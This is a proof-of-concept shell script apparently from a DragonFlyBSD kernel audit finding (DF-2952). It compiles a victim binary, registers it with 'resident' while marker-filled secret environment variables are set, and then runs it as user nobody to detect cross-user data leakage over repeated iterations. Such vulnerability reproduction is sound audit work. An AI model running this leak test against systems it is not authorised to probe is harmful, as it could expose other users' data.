DragonFlyBSD Kernel Audit
DF-2952 / iter.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2952 PoC - iterative registration/leak cycles to measure determinism.
# Usage: sh iter.sh <n>
set -e
DIR=/tmp/df2952
VICTIM=$DIR/victim
N=${1:-5}

sysctl kern.stackgap_random 2>/dev/null || true
sysctl kern.sgrowsiz 2>/dev/null || true
sysctl kern.maxssiz 2>/dev/null || true

cc -O0 -o $VICTIM $DIR/victim.c || exit 9

i=0
while [ $i -lt $N ]; do
	i=$((i+1))
	echo "===== ITERATION $i ====="
	/usr/sbin/resident -R >/dev/null 2>&1 || true
	sleep 0.2
	DF2952_SECRET_00="$(printf 'DF2952MARKER_S00_%.0sA' $(seq 1 980) 2>/dev/null || echo DF2952MARKER_S00_AAAAAAAAAA)" \
	DF2952_SECRET_01="$(printf 'DF2952MARKER_S01_%.0sB' $(seq 1 980) 2>/dev/null || echo DF2952MARKER_S01_BBBBBBBBBB)" \
	DF2952_SECRET_02="$(printf 'DF2952MARKER_S02_%.0sC' $(seq 1 980) 2>/dev/null || echo DF2952MARKER_S02_CCCCCCCCCC)" \
	DF2952_SECRET_03="$(printf 'DF2952MARKER_S03_%.0sD' $(seq 1 980) 2>/dev/null || echo DF2952MARKER_S03_DDDDDDDDDD)" \
	DF2952_SECRET_04="$(printf 'DF2952MARKER_S04_%.0sE' $(seq 1 980) 2>/dev/null || echo DF2952MARKER_S04_EEEEEEEEEE)" \
	DF2952_SECRET_05="$(printf 'DF2952MARKER_S05_%.0sF' $(seq 1 980) 2>/dev/null || echo DF2952MARKER_S05_FFFFFFFFFF)" \
	DF2952_SECRET_06="$(printf 'DF2952MARKER_S06_%.0sG' $(seq 1 980) 2>/dev/null || echo DF2952MARKER_S06_GGGGGGGGGG)" \
	DF2952_SECRET_07="$(printf 'DF2952MARKER_S07_%.0sH' $(seq 1 980) 2>/dev/null || echo DF2952MARKER_S07_HHHHHHHHHH)" \
	/usr/sbin/resident -f $VICTIM || echo "register failed"
	su -m nobody -c "env -i $VICTIM leakcheck" || true
done
echo "===== DONE ====="